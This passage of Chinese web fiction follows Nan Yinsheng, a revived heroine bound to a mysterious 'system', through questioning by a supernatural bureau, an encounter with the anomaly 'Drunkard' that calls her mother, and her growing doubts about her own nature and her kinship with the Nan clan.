    “言副司长差点把她当成异常一起回收了。”


    “小言一向谨慎，不过局长不在，星辰司有他坐镇也让人放心。”


    “杨部长说得是，我先走了。”


    空间转换，南音笙感觉头上的束缚被人去掉，刺眼的灯光打在脸上，于是假装转醒。


    她甚至不需要适应光照，很快反映过来，自己在类似医院的病房里，周围的白大褂围着她团团转，似乎在检测什么，但是又没有伤害她的身体。


    不是研究部吗？研究治病救人？


    “你醒了，感觉怎么样？有哪里不舒服？”


    面目和蔼的中年医生关切道，“你已经进入萌芽期，酒鬼是高危异常，你大概很快就会破茧成为解密人。有什么不舒服及时告诉我们。”


    南音笙半真半假地茫然：“啊？”


    杨熙雯虽人到中年，但是常年混迹实验室，生活环境单纯，见状下意识解释道，“对了，你还没培训，不知道情况很正常。”


    “解密人，你应该听说过吧。”


    南音笙不知道，但顺着她的话点点头。


    “成为解密人其实需要先接触异常或者神秘衍生物，如果侥幸不被污染，就会进入萌芽期，随后破茧，觉醒神秘向成为解密人。”


    “你身体里的能量值极高，进入萌芽期无疑了。”


    白大褂的中年医生语气里压抑着兴奋，并且因为地位高，没人打断或插话。


    “酒鬼的污染无解，哪怕是官方的解密人也只能硬抗，但是因它破茧的解密人却不再受其污染。”


    “有你在，我们能减少很多伤亡。”


    “如果你不愿意加入监天局，研究部也能每半年给你提供一套免费体检，报酬只需要300毫升新鲜血液。”


    “你看怎么样。”


    她太着急了，让人真切地感受到自己身上的价值。


    不过南音笙心里的怀疑未消，谨慎道，“可我没接触过酒鬼，而且，神秘向是什么，你又是谁？”


    她心里的疑惑很多，但只有这两个问题最保险。


    “我是研究部主任医师，杨熙雯。你不是拿着......”房门打开，来人打断了杨熙雯的话。


    “南小姐有什么不舒服吗，要不要吃点东西。”干瘦的老者面露慈祥


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    ，“八卦司之后会有人向南小姐讲解情况，不用着急。”


    南音笙愣愣抬头，用茫然的眼对上老者沉澈的注视。


    来人不是个套话的好人选。


    “不用了，谢谢。”南音笙挂上记忆中学生清澈纯净的笑，“我怎么在这？我不是在郊外踏青吗。”


    “我们也不清楚。”老者语气温和，“也许你等会可以问问他们，好好休息。”


    说着，老者带走了病房里的白大褂们，独留下面露茫然的南音笙。


    房门紧闭，南音笙环视病房，最后将视线落在墙角的监控器上。


    ‘系统，我好害怕，需要你的帮助。’


    此话为假，但是系统会当真。


    果然，系统询问，“合作者想做什么？”


    ‘今天早上‘我’从‘家’到郊区的购票记录，以及沿路摄像头影像。’


    南音笙长期待在虚无之地，对现实世界生活的敏感度已经很低了，现在才意识到自己的不同寻常。


    她穿着一身战国袍，独自出现在郊区，身无分文，甚至连电子设备都没带，只拿着一瓶酒和一张回程的车票.....


    如果不引人注目还好，但已经被卷进封锁，一定会受到怀疑。


    系统显然更加敏感，“合作者，官方已经调取了相关记录。”


    南音笙心一沉，就听系统继续道，“相关记录在合作者购买身份证明时，已经同步录入。”


    “包括但不限于衣物购买记录，古装爱好者群留言，今日回程票据购买记录，新酿酒交易记录。”


    “合作者请放心，你很安全。”


    第一次发现系统还会说话大喘气，南音笙感觉自己饱受惊吓，顺势往床上一趟。


    ‘谢谢你啊，系统。’


    “不客气。”


    确认了自己的安全，南音笙开始关注其他事。


    ‘系统，封锁是因为他们口中的异常吧，新酿酒是异常？’


    “系统奖励来源于模拟人物，与异常无关。”


    ‘那异常是什么？也不能说吗？’


    系统沉默一会，道，“合作者，我可以告诉你答案，但生活属于你。你需要自己了解这个世界，并且立足。”


    “我很高兴能成为合作者的依靠，但是在现实世界，我的能力有限，合作者需要寻找更多渠道。”


    系统说着关切的话语，冰冷的电子音却不曾改变。


    南音笙意识到系统不满，但语气如常，仿佛系统真是在关心她，‘我知道了，谢谢你系统，我会自己想办法弄清楚的。’


    脑海里的声音消失，南音笙这才真正放松身体，在消毒水的气味中闭目养神。


    她当然知道不能一味依靠系统，一个人真正的依靠永远只能是自己。


    但在系统眼里，她一直是个有点聪明但是心思简单的学生，死后又被系统绑定，长期待在虚无之地与系统相依为命。


    哪怕依照人设，她也该对系统产生依赖心理，让培养合作者的非人安心。


    而且万事询问系统意见，还能试探系统底线，看它对自己有多少耐心，何乐而不为呢。


    南音笙抚摸着柔软的床铺，在满是人造物的病房里异常安心。


    她对系统心怀感激又满怀愤恨，但是世间难得糊涂，在非必要情况下，她永远是系统理想中的“伙伴”。

 5. 南家人

    “扣扣扣。”


    南音笙睁开眼，下意识看了眼摄像头，才道，“请进。”


    房门打开。


    一位三十岁上下的男性走了进来，他身材微胖，圆脸，脸上笑意温和，配上周身的懒散气质，让人倍感亲切。


    他身后跟着一位有些瑟缩的青年，青年轻手轻脚的关上房门，独自跑到房间角落，也不说话。


    “我是监天局星辰司安康，这位是八卦司周祈安。现在有一起异常污染，需要你配合。”


    微胖男人态度随和，顺手将证件递给南音笙，“周员比较害羞，见笑了。”


    “你们好。”南音笙把证件还给安康，礼貌问好，周身透出一股青涩。


    “南小姐不用紧张，我们只是例行询问。”


    “好。”南音笙表现得更紧张了。


    安康先是笑了笑，权当安抚，随后沉下脸严肃道，“南音笙，22岁，毕业于涿州交大，三天前从涿州返回三秦，现居中心城海湾七号别墅，无工作，是或者不是。”


    “是...是的。”


    “9号下午两点十五分，你在哪。”


    “雍华路郊区，我去踏青。今天天气好。”


    “为什么是距离你家最远的雍华路郊？中心城周边供人散心的郊区不少吧。”


    我也想知道。


    南音笙在心里发问，却没得到回应。


    “就是因为距离远。”南音笙小声回应。


    “什么？”安康皱眉。


    “就是因为距离远，所以不会遇到熟人。”南音笙故意提高音量，仿佛掩饰羞涩，“我穿古装散步，如果遇到熟人，有点尴尬。”


    安康下意识抬头去看了眼站在南音笙后方的周祈安，见他点头才继续问，“两天前，你为什么要买酒。在此之前，你从来没有购买酒水的记录。”


    “因为应景。战国袍配战国铜壶酒，很好看......”


    周祈安对着安康点点头。


    但是得到准确回答的安康眉头皱得更紧了。


    周祈安觉醒的神秘向叫“平面”，世界在他意识里光洁平展，任何不和谐都一目了然。


    撒谎是不和谐，生病是不和谐，心情低落是不和谐.....因此，只要周祈安点头，代表南音笙回答为真。


    但不知为何，安康总感觉事情有些蹊跷。


    于是他转变思路，问，“你对酒鬼了解多少？”


    “啊？”南音笙半真半假的茫然，“我只知道名字，还有它是异常。”


    “你知道你的酒成为酒鬼的栖息地了吗。”


    “不知道。”


    周祈还是点头。


    “你是解密人？”


    “我不清楚。”南音笙回忆道，“之前有位医生说我要破茧成为解密人。但是我没弄清楚她的意思。”


    安康又问了几个问题，得到答案后冲南音笙点点头，留下一句稍等，带着周祈安离开病房。


    门外，不等安康发问，周祈安就兴奋道，“安哥，我就没见过这么和谐的人。”


    “什么意思。”不笑时的安康充满压迫感，周祈安笑容顿了一下，才继续道，“从我见到南音笙开始，就没发现她身上有不和谐的地方，她好像和世界合为一体似的。”


    “连师局都没有这么和谐。”


    “你觉得这种情况正常吗。”安康皱着的眉就没展开过，“而且酒鬼第一次选择这么小的酒壶栖息，你不觉得奇怪吗。”


    “是很怪，但酒鬼是高危异常，智慧和人相当，说不定是想换个生存环境呢。”


    周祈安见安康没说话，补充道，“我确实第一次见这么和谐的人，也许她真有问题。”


    “周哥，我们之后要怎么办？”


    “凉拌。”安康深吸一口气，“先把情况报上去，之后交给言副司长处理。”


    “好的。”周祈安拿着录音，两步三回头的走了。


    门内，南音笙望着摄像头发呆。


    实则在回忆自己来到现实世界后的遭遇。


    如果她没猜错，这个世界并非完全唯物。


    正如能被她“拿在手上“的异常，或者医生口中的神秘向和能量值。


    那有没有一种可能，哪怕官方没有使用类似测谎仪的东西，依旧能确认她有没有撒谎。


    周祈安自从进门就没发过话，但安康时不时会抬头去看他，他是人形测谎仪？


    但看安康两人的样子，似乎也没有发现她说假话。


    “合作者，你很安全。”


    系统不知道什么时候上线，见南音笙没有反应，重复道，“官方不能成为你的威胁，你很安全。”


    ‘系统，我知道你能保证我的安全，但是我没有底气。’


    ‘我何德何能啊。’


    “......”


    祂知道人类会忐忑无措，举棋不定，但没有除去告知详情外的安慰方式，加上知道南音笙自己会调节，所以没再出声，意识重新回到虚无之地。


    ......


    安康再次打开门时，已经挂上温和的笑，手里还拿着一包饼干和一瓶饮料。


    他自然而然地把饮料塞给南音笙，“南小姐，谢谢你的配合，可以回去了。”


    “跟我来吧。”


    南音笙没说什么，拿上饼干饮料，跟在安康身后离开。


    路上，她见安康重新挂回亲切面具，仿佛适应了环境的学生，天真发问，“安...队长，我之前不是在郊外吗，为什么醒过来就在医院了？”


    安康落脚停滞一瞬，又无事发生般继续往前走，“高危异常酒鬼，选择了你的酒为栖息地，我们迅速锁定后将其封锁，为避免误伤，我们将你一起带来了回来。”


    “这里也不是医院，是监天局研究部。”


    “研究部？”


    “研究部医疗区，主要治疗污染。”


    南音笙配合着点点头，“那我呢？医生说我即将破茧成为解密人，是真的吗？神秘向又是什么。”


    安康也知道南音笙“清醒”后的事，耐心解释，“你可以把神秘向理解为特殊能力，按照研究部给出的数据，你身体内的能量值比许多解密人都高，确实是即将破茧的征兆。”


    “成为解密人后，你对污染的抗性会增强，也有了和异常对抗的资本。正如星辰司的执法队员，全是解密人。“


    “至于你的神秘向是什么，主要和接触的异常有关。不出意外，你的神秘向会带上酒鬼的某种特性。”


    南音笙似懂非懂，追问，“安队长，你的神秘向是什么？”


    安康笑着摇摇头，“最好不要向官方外的人透露你的神秘向和破茧物。某种意义上，这是隐私。”


    “不过，如果你以后愿意加入我们，队员间相互交流神秘向是常事。”


    说话间，两人到了类似车间的密室，安康打开车厢，示意南音笙进去。


    “等你真正破茧后，会有专门的人教你，现在不急。”


    安康待在车外，扶着车门，没有进去的动作，“南小姐，研究部毕竟不是普通地方，所


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    以回去的路上委屈你了。”


    “路程可能有点远，你可以吃点东西。”


    话毕，车门紧锁，南音笙坐在密闭的车厢内，下意识笑了笑。


    官方...还是对她起疑了。


    啧。


    ......


    安康说路程有点远还真没诓她，反正南音笙先来无事，数了上万个数，还是没有人来开门。


    或者说，如果她不吃下安康给的食物，可能一直到不了目的地。


    人在屋檐下，不得不低头。


    南音笙小口小口嚼完干巴饼干，配着味道诡异的饮料咽下。


    饮料的口感像是茶水里加入芦荟，顺便拌上白糖和辣椒，倒了些陈醋和孜然......这个世界的人也是厉害，能生产出口感如此“丰富”的“饮品”。


    但可能是南音笙太久没吃东西的缘故，居然觉得饮料味道还挺不错，于是喝了一口...又喝了一口...再喝了一口......


    最后喝得一滴不剩。


    她来到现实世界的时间太短，又失去了先机，完全不知道该作何反映，所以只能随缘。


    而不出南音笙所料，等解决完所有安康给的食物，车厢就打开了。


    人造灯具洒落一地白光。


    车厢外，安康站在一位刚毅男性身旁，一脸复杂。


    “饮料好喝吗？”


    “还行？”南音笙回味着奇妙的口感，夸大道，“就是味道有点诡异，很怪。”


    安康脸上的表情更复杂了，明明白白写着，“既然味道诡异，你为什么要喝完。”


    “我以为只有吃完东西才可以走。”


    安康和一旁的刚毅男子稍显不自然，但在南音笙看过去后又恢复如初。


    “见谅。”刚毅男性面色严肃，似乎想表现自己的诚恳，“酒鬼毕竟特殊，这又是它唯一一次没有造成伤亡的出逃，我们需要确定你不是异常或者神秘衍生物。”


    所以异常或者神秘衍生物还能是人的模样？


    思绪一晃而过，南音笙意识到自己的嫌疑洗清大半，“饮料有问题吗？异常或者神秘衍生物喝下去会怎样？”


    两人脸上刚消下去的复杂神色再次出现。


    “这是研究部开发的‘人造污染茶’，异常和神秘衍生物会感觉异常美味，不过喝下去会陷入虚弱，弱小的当场暴毙。对人体没有危害。”


    “感谢南小姐的配合。我是星辰司副司长，言严。”


    “天晚了，我送你回去吧。”


    南音笙被“异常和神秘衍生物会感觉异常美味”的消息震到，差点没维持住表情。


    听见言严的建议，下意识坐上副驾，挤出清澈笑脸。


    “麻烦言副司长了。”


    “不客气。”言严在安康疑惑的表情中写下一串数字，“这是我的电话，南小姐以后有事尽管联系。”


    南音笙接过，面目疑惑。


    言严也没有解释，笑了笑发动汽车。


    车水马龙，一路无言。


    和安康不同，身为现任星辰司副司长，内定司仪部部长的言严知道更多隐秘消息。


    人造污染茶在不同群体身上的效果不同。


    异常或神秘衍生物感觉美味。


    普通人只会感觉在喝白水。


    而感觉喝起来诡异的，只有南家人。


    南家，南姓世家。


    传承两千多年，天生不惧污染。


    神灵的血裔。


    更巧的是，南音笙也姓南。

 6. 阿母

    自从南音笙离开监天局，就彻底放飞自我。


    她于高楼大厦间静坐，欣赏闹事的人间烟火。


    在幽静的拐巷独步，寻找小众但有意思的店铺。


    她和形形色色的人交谈，抚摸绿植鲜花，欣赏碧云蓝天。


    日子很悠闲，就是时不时会收到言严的“骚扰短信”。


    言严不知从哪里拿到她的电话号码，每天早晚问好，时不时发几句关心和推荐，每次末尾都要加上“要不要来监天局看看。”


    “......倒也不必如此。”


    她现在有点害怕官方。


    毕竟“人造污染茶”在她感知中味道不错，而按照言严的说法，只有异常或者神秘衍生物如此。


    加上系统第一天所说的“降临”让她很在意，这个词一般用于抽象概念，在这个世界的网络上，“降临”前的名词还是特定的——“神秘降临”。


    而所谓神秘，就是这个世界真实存在的神灵，据传独处在特殊空间。


    因此南音笙意识到自己的身份有问题。


    让她去“解决”这些问题的官方部门——监天局参观，和自投罗网有什么差别？


    所以对于言严的信息，南音笙主打每一句都回应，每一个字都不在点上。


    【小笙，在吗？】言严的信息又来了。


    此时南音笙正独坐在清吧角落，点了杯水果桑格利亚和水果拼盘，刷着论坛获取信息。


    【言副晚上好，有什么事吗？】


    通讯界面上显示言严正在输入，但是南音笙等了几分钟，没有刷出新消息。


    南音笙也不在意，反而看着论坛关于“遇见酒鬼必死”的讨论，陷入沉思。


    她看得太专注，以至于没有发现店门不知什么时候关上了。


    清吧里播放的音乐也停了下来。


    店里加上南音笙一共只剩下九个人。其中一个趴在桌上，睡得不知天日。


    另外七人挤成一团，缩在角落，望着她的方向满脸惊恐，死死捂着嘴不敢发声，仿佛害怕惊扰到什么。


    【小笙，酒鬼出逃，还隐藏了气息。想问问你有没有什么办法找到它，如果你愿意帮忙，监天局会提供丰厚的奖金。】


    【当然，你拒绝也没干系，这本来是我们的责任。】


    南音笙被言严的消息唤醒，下意识伸手去拿酒，却听见有人抽气的声音。


    她抬起头去看，发现一堆人像毛绒玩具里的棉花般紧紧相拥，脸上是清一色的惊恐扭曲，看她像在看异常。


    “？”


    顺着几位客人颤抖伸手的方向低头，南音笙看见了那杯从红色变成透明状的水果桑格利亚。


    一团乳白在透明的液体里游荡涨大，并且渐渐构筑出人类婴孩的轮廓。


    异常！


    酒鬼！


    【不用，找到它了】


    言严的信息刷出，下一秒，网络截断。


    南音笙有一瞬间的心慌，但在酒中人形睁眼时骤然冷静。


    她甚至有余力思考，正常情况下，不谙世事的毕业生该怀着怎样的情绪求助。


    然而冰冷但镇定的脸却让其他客人误会了。


    涂着艳色口红的都市丽人从人堆里挤出来，努力让自己不发出颤音，“请问是解密人吗？救援什么时候到？”


    她身边是位穿着白衬衫的年轻男子，混上上下都透露出慌张，“这是什么异常，污染的类型有解吗？”


    “它是不是新闻里的高危异常物酒鬼？”


    “是污染无解的酒鬼吗？”


    “不是酒鬼对不对，这间酒吧的酒没这么好对不对！”白衬衫声线颤抖，最后一句话还是吼出来的。


    虽然在说完的下一刻，他就被身边的人捂住嘴，但是泣音却从指缝间漏了出来。


    【高危异常酒鬼，喜欢选择各种品质优异的酒作为栖息地，并且通过栖息的“美酒”传播污染。】


    【无论是品尝、接触、还是沾染它的气息，接触者都会变成酿酒的材料。人类也会在不知不觉间，化为包着酒水的人皮囊袋。】


    【新一轮神秘复苏至今，官方仍然没有找到消除酒鬼污染的方法，因此近百年来，除去进入萌芽期外的两人，其余受到污染的人皆亡。】


    “遇见酒鬼必死”讨论帖里的内容，反复在南音笙脑子里滚动。


    南音笙很清楚，自己正是那“因酒鬼进入萌芽期”的两人之一，她很安全。


    酒杯里异常的脸越来越清晰，嘴巴，鼻子，耳朵......它正冲着南音笙嬉笑，成熟丑陋的脸上布满幸福。


    幸福？


    不等南音笙思考更多，醇厚的酒香扑面而来，顷刻间充斥清吧。


    ‘这些人完了。’


    南音笙下意识去看那几位客人，发现之前发问的两人正满眼绝望地等待回应。


    南音笙被这目光看的一怔，侧头躲开视线，“官方很快就来，别担心。”


    她端起酒杯，抬脚往后台走，“这不是酒鬼，只是有点像而已，毕竟酒鬼没有人形不是吗。”


    几人紧紧拥住，眼中爆发出刺人的希翼，目送南音笙离开。


    ......


    关上后台门，勉强算把酒鬼放在密闭的空间里。


    酒鬼喜欢栖息在品质优异的酒水中，她点的鸡尾酒显然不在此列。


    酒鬼不喜欢小体积的栖息地，现在却蜷缩在高脚杯里，看起来心情颇佳。


    加上这是第二次遇到酒鬼，南音笙的直觉告诉她，酒鬼的到来和她有关。


    南音笙端起高酒杯，让视线与异常的头部齐平，“你是跟着我来的？”


    长相十分成熟的“孩童”颤了一下，笑得丑眼睛，但是没有说话，反而蜷缩起身体。


    “我知道你会说话，还很喜欢嗑唠。聊聊？”


    “孩童”抖得更凶了，透明的液体顺着杯壁滴在桌上。


    木桌软化，草木清香的酒洒落一地。


    南音笙看见，本来要滴到自己手上的液体硬生生转了弯，酒水的潮气也绕着她流淌。


    “你为什么要笑？”


    “...amu”


    “什么？”很小的呢喃声，南音笙没有听清。


    蜷成一团的丑东西突然把自己撑开，全身紧绷，大喊出口，“阿——”母


    “碰！”


    后台的门被大力砸开，砸门的人全副武装，迅速退后。


    一名气质冷淡，但眼神锋利的常服男子不退反进，两三步跨到南音笙面前，夺过酒杯。


    “嚎什么嚎，酒鬼你终于变成了吓唬小姑娘的垃圾？”


    他嘴上动作不慢，但手上动作更快，想把异常连带着酒杯，一起塞进深红的木箱里。


    但酒鬼轻松翻出酒杯，湿哒哒的落子地上。然后迅速涨大，毫秒间长到了正常四五岁干瘦孩子的身形。


    常服男子脸色一变，“酒鬼你疯...”话还没说完，整个后台融化。


    目之所即的物品渗出不同颜色的酒液，除了南音笙站的地方，空间在眨眼间被酒水填满，酒鬼也融化消散，流进酒水里不见踪影。


    南音笙还在状况外，她左右走动，酒水如同摩西分海般纷纷退让。


    实锤了，酒鬼一定和她有关系。


    她必须在官方反应过来前找到酒鬼，问清楚他们的关系，不然活着都不安心！


    她离开后台，回到清吧前厅，这里空无一人，但同样酒水激荡。


    再往外，空中有层层叠叠的水膜包裹住被酒水填充的空间。


    但薄膜外凸，感觉下一秒就会破裂。


    论坛上曾说过酒鬼一向配合，虽然它不在意自身的污染会让接触的人死亡，但是它也不会主动攻击，每次被解密人找到都会出来嗑唠，任由官方回收。


    但现在怎么回事？


    南音笙又往回走。


    如果包裹这片空间的水膜失去作用，不知道会有多少人成为“人酿”。


    她可以不在乎其他人的死亡，但不能不在乎这辈子生活国家的官方。


    她的人设就是没多少心机，接触社会不久的年轻毕业生，在现代环境的教育下，她应该有一定善心，考


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    虑民众安危。


    而在系统眼里，她虽然足够坚韧，但是有些软心肠。虽然不知道系统从哪里筛选出的信息，但是南音笙不准备打破在系统心里的形象。


    所以她需要帮忙救人，她需要在弄清楚他们关系后尽快回收酒鬼！


    南音笙加快脚步，在“酒海”里一圈圈晃荡。


    “咳咳咳，红匣！”


    一张脸猛地从浑浊的酒里冒出来，闯进了以南音笙为中心的“真空地带”。


    但脸的主人刚探出半个身体，又被酒液拉进水中。


    南音笙往他被拖走的方向跑，一无所获。


    他所说的红匣更是不见踪影。


    “扑通”“扑通”，有什么东西从上方掉进酒水里。


    有什么能突破封锁进入酒海？


    官方！


    “酒鬼。”，南音笙承认自己开始慌了，但着急只会让事情变得更糟。


    感受着模拟出的心跳，她深吸一口气，强迫自己理智思考。


    酒鬼跟着她，酒鬼认识她，酒鬼甚至在一直迁就她。


    为什么？


    它的迁就能到何种程度？


    呼唤它是否能够得到回应？


    “酒鬼，出来。”反正她可以复活，完全可以大胆一些，“丑东西，出来。”


    “噗嗤”


    几岁孩童模样的皱巴巴酒鬼从酒海里流了出来，落到南音笙脚边。


    它的五官拧成一团，似乎正经历着巨大的痛苦。


    “阿母..."


    它还想说什么，南音笙却发现了浑浊酒液中的黑色轮廓。


    “好想...”你。


    好想阿母，好想妹妹。


    求求您，不要指责我们，不要忘记我们......


    “闭嘴！你是什么鬼东西！”


    南音笙高声打断它的话语，由于用力过猛，还带上了颤音，很符合遇到异常而恐惧的普通人。


    听见质问，酒鬼僵住了。


    本就皱巴巴的丑东西剧烈颤抖，全身充血般变得涨红，又在转眼间发黑发紫。


    “啊啊......”它发出痛苦的长吟，一阵阵带着苦味的酒香萦绕在南音笙鼻尖。


    她突然感觉到了它的悲伤和痛苦。


    藏在酒水里伺机而动的男子一定也感受到了。


    他换上了黑色的轻薄隔离服，手上还抱着深红的木箱。


    他从酒海里窜出，被酒打湿的面庞仿若哭泣。


    然而看起来狼狈的南赴栢其实板着脸，面无表情，下手利落。


    眉眼间的冷漠似曾相似。


    他狠狠扣下箱子，把酒鬼的头砸进红匣，并用力往下挤。


    酒鬼下半身化成液体，想在箱子闭合前溜出来。


    南音笙一直观察着情况，见状下意识命令道， “不准动。”


    原本液化的异常窒在原地。


    哐的一声，深红木箱倒扣上锁。


    随后，南赴栢收好红匣，与南音笙对视。


    【高危异常——酒鬼，于涿州四环路西“清吧-心灵驿站”回收，总回收次数：19】


    【此次伤亡人数：197人，其中8名清吧顾客，9名负责封锁的星辰司队员，26名未及时撤离的路人，154名因封锁破裂而受到污染的路人】


    【酒鬼在第18次逃离回收所后，选择品质普通的鸡尾酒“水果桑格利亚”作为栖息地，并且第一次向回收人员展露攻击性。】


    【同时，酒鬼第一次显现人形，为三至四岁干瘦幼童，肤色黯淡，长相极丑。】


    【据■■■报告显示，酒鬼存在影响情绪的能力，具体表现为变色后散发出苦味酒香，沾染者悲伤难忍。■■■猜测，酒鬼此能力为情绪感染，使受害者情绪与酒鬼同步。】


    【猜测理由：酒鬼使用能力前面露痛苦，发出悲鸣......】


    【■■■猜测，酒鬼的异状与幸存者南**有关：附带南**资料（已加密）。猜测理由如下......】


    【事后，酒鬼拒绝回答异状原因。】

 7. 我是谁？

    虽然但是......


    南音笙还是来到了监天局。


    以“热心市民”的身份。


    充斥着刺眼白炽灯光芒的审讯室内，言严和南赴栢一左一右分坐在南音笙对面。


    前者面色严肃，冷得随时能参加葬礼。后者没什么表情，只是偶尔看向南音笙的眼里流露出疑惑。


    只是录个笔录，硬生生被两人弄得像审讯。


    “你和酒鬼什么关系。”


    “我不清楚，也许是受害者和加害人的关系。”


    官方应该没有听见酒鬼的那一声阿母，不然她就不会毫无约束的坐在这了。


    不过...阿母是古时对母亲较为正式的称呼。


    在南音笙模拟人生时，模拟人物的后代都称女性模拟人物为“母”，“阿母”。


    所以酒鬼可能是她某一次模拟的产物。


    古今交接的错位感，让她有一瞬间的恍惚。


    “为什么你能在酒鬼的酒里随意穿行。”南赴栢问。


    “我不知道。”南音笙看着提问的青年。


    南赴栢。


    涿州监天局顾问，特殊血脉，不惧污染。


    言严曾经试探过她，称她与南顾问一定有话题可聊。


    她当时是怎么说来着......


    好像说的是，她和有趣的人都有话可说。


    言严回了一个尴尬摸头的表情包。


    也许好看的人总是很像，南音笙感觉南赴栢的眉眼与自己有几分相似，只不过直达灵魂的眼眸冲淡了他眉目间的温润。


    “你...有没有流落在外的亲人。”但南赴栢原本摄人的眸子此时清澈见底，不像是位高权重的顾问，反而像初入社会的学生。


    这也让他与南音笙的气质和神态更加相似。


    言严冰冷的表情没维持住，眼角一抽。


    “没有...应该。”如果不算模拟人物的后代，她在这个世界上无亲无故，“你们不是有我的资料吗。”


    “你在27号晚独自从中心城散步到老城区，恰巧进入清吧-心灵驿站，恰好看见论坛上关于酒鬼的消息，恰好遇见选择小型栖息地的酒鬼，又奇迹般地遇到酒鬼第一次化为人形。”


    言严急忙打断南赴栢的蠢蠢欲言，接过话语权道，“小笙，你不觉得巧合有点多吗？”


    “我本来就有四处散心的习惯，唯一巧合的，只有酒鬼选择我点的鸡尾酒当栖息地而已。”


    “至于它化不化成人形，我也控制不住啊。”南音无辜回望。


    “清澈”的眸子和南赴栢如出一辙。


    言严抚额苦笑。


    官方没有刻意刁难她，或者把她当成嫌疑犯审问，毕竟南音笙最后帮助南赴栢回收酒鬼做不得假，在没有证据证明南音笙和酒鬼有关前，他们不愿意让未来助力对官方失望。


    录完笔录，言严照常送她回家。南赴栢自然而然地混上车。


    作为南家这一代唯一出走的“先驱”，南赴栢轻易不会返回家族，所以近两年与家人相处时间极少。


    但在看见南音笙的那一刻，他莫名感受到亲近，来自血缘的亲近。这与他在家和亲人相处时的感受十分相似。


    虽然按理来说，南家人生活的地方特殊，轻易不踏足外界，有血缘亲属流落在外的可能性不大。


    但万一呢，南赴栢想，也许南音笙就是曾经离家出走成员，流落在外的孩子。


    她体内的能量值极高，如果是因为接触酒鬼进入萌芽期，早该破茧了。


    既然一个多月还没破茧，就说明她不是与酒鬼相关的未来解密人。


    但南音笙免疫酒鬼的污染......除去部分解密人能够硬抗酒鬼的污染外，只有神秘的血裔才能在酒鬼的酒海中安然无恙。


    更何况南音笙也姓南。


    她合该是他们的家人。


    南音笙被南赴栢磨得“没办法”，同意和他交换联系方式，并约定以后经常交流。


    毕竟有酒鬼那一声“阿母”在前，南音笙看着南赴栢与自己相似的眉眼，也没把握自己和他没有关系。


    而且有这么一个身居高位的“联系人”，她也更好套取情报，弄清自己的身份。


    言严全程没有说法，虽然他一直在开车，但是透过后视镜，还是完完整整看完了两人的交流过程。


    南赴栢此次因为酒鬼的异常，来到三秦出差，言严在收到消息的那一刻就预见了今天的场景。


    他很肯定南音笙是南家人，虽然不知道南音笙的辈分在哪，但是她那初入人类社会般对世界的懵懂，不惧污染的理所当然还是被他窥见了。


    而“人造污染茶”更是肯定了他的猜测。


    所以在言严眼里，两人第一次见面就分外亲近，交换联系方式的戏码，更像是南音笙为掩饰身份，和南赴栢一起演的戏。


    南赴栢也算他带出的“新人”，他可从来没见过他如此热切亲近的眼神。


    刚认识......


    以南赴栢的情商，他演的够好了。


    至于是否拆穿，言严从来没有想过。


    南家人每隔一两代总有人离开家族，独自外出闯荡。他们都有自己的坚持，并不是每一位都愿意加入官方。


    有时不同势力的南家人甚至会相互敌对，但从来没有打出真血，失败者只会被另一人遣回南家。


    而大多数情况下，他们的敌对不会对函夏造成伤害。


    所以官方从来不理会南姓世家后辈间的交流和小心思。


    除非南音笙作出危害社会的行为，否者官方只会想办法拉拢她，尽量满足她的需求，期望她为函夏尽一份力。


    两人吵吵闹闹了一路。


    等言严把南音笙送到海湾七号别墅，南赴栢下意识想跟着南音笙下车，被无奈的三秦监天局星辰司副司长叫住。


    “南顾问，你是不是忘了什么。”


    “什么？”南赴栢面露茫然。


    “审问酒鬼，利用各种异常还原酒鬼出逃到回收全过程，提交相关报告，返回涿州述职......”


    虽然大多数工作可以交给其他人，但是审问酒鬼只有南赴栢能行。


    而且酒鬼可以选择任意“美酒”栖息，哪怕采用一级封锁，它依旧能咬咬牙离开。


    以前还好，酒鬼大多数时候喜欢待在他们提供的酒水里，并且从不主动攻击。


    但现在酒鬼行为异常，并且原因不明。


    如果南赴栢不抓紧时间，他们怕酒鬼又跑了。


    时间紧急，日常和南音笙培养感情的时间已经结束，剩下的最好下次再说。


    闻言，南赴栢下车的动作顿住，随后缓缓坐会车内，“下次见小笙，记得信息联系。”


    听见这个称呼，南音笙眼皮一跳，但笑容如常道，“再见。”


    ......


    “系统，你是神秘吗？”言严他们走后，南音笙躺在沙发上，半晌才发出询问。


    神秘，也就是这个世界的神灵，世界污染的元凶，相互独居在非现实的空间内。


    神秘的气息落到现实世界，接触者不是即


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    刻暴毙，就是扭曲为神秘衍生物。只有极少数意志坚定者得以存活。


    而这少数幸存者中，大多数人会在不知不觉间成为相关神秘的狂信徒。


    南音笙的猜测不是无的放矢。


    酒鬼的那一声阿母让她醍醐灌顶。


    系统将她从死海里捞出来，成为只能听从它安排，并且对它心怀感激的“合作者。”


    但这位“合作者”在模拟中的后嗣，变成了异常。


    异常——受到神秘衍生物筛选污染，最终存活下来，并且思想扭曲的生物或物品。


    所以可以倒推出，她南音笙，在不知不觉间成为了神秘衍生物。或者说她操控的模拟人物是神秘衍生物。


    系统还带着她居住在独立于现实的特殊空间——虚无之地。


    系统拥有插手时空的能力——如同神灵般人类难以超越的权能。


    因此，南音笙很难不去猜测系统的身份。


    “不是，合作者误会了。”系统一如既往平静耐心。


    真的吗？


    系统从来没有说过假话，但南音笙心里还是留下了怀疑的种子。


    “原来如此，那我是神秘衍生物吗。”


    “......不是。”这和上一个问题差别不大。


    “哦，看来我真的误会了。”南音笙把头埋进抱枕。


    半晌，南音笙闷闷的问，“系统，我是人吗。”


    “......”


    “合作者需自行探索。”


    “看来不是了。”


    南音笙的头死死埋进枕头，但是没感觉到丝毫窒息。


    其实这一个多月以来，身体的异常早就被南音笙察觉了。


    她没有生理需求，一切都都是兴趣使然。


    她不会累，不需要呼吸，心脏能按照意志跳动或停止。


    她不会受伤，如果不控制身体缓慢愈合，利刃划过手臂最多只能带出一线红痕，并且在毫秒间恢复原状。


    南音笙清楚地知道自己早已非人，并且平静地接受了这一切。


    只不过......在系统眼里，她该伤心的。


    南音笙现在的意识对身体有极高的掌控力，模拟出悲伤的情绪轻而易举。


    而且她还想尝试用模拟的情绪，阻碍系统对自己思想的“保护”。


    “合作者，人类的身体只是适应世界的产物，并非必需品。”


    “肉/体终将腐朽，只有意志永恒。”


    “如果合作者认为自己是人，那么你可以是。”系统用冰冷的电子音安慰着，“合作者现在的身体由存粹能量构成，远比血肉优越，因此不必伤心。”


    南音笙小声嗯了一声。


    系统没发现她真正的所思所想，还在尽职尽责扮演值得信赖的合作伙伴。


    “合作者如果感到茫然，就继续模拟吧，到手的能量绝对不会背叛。”


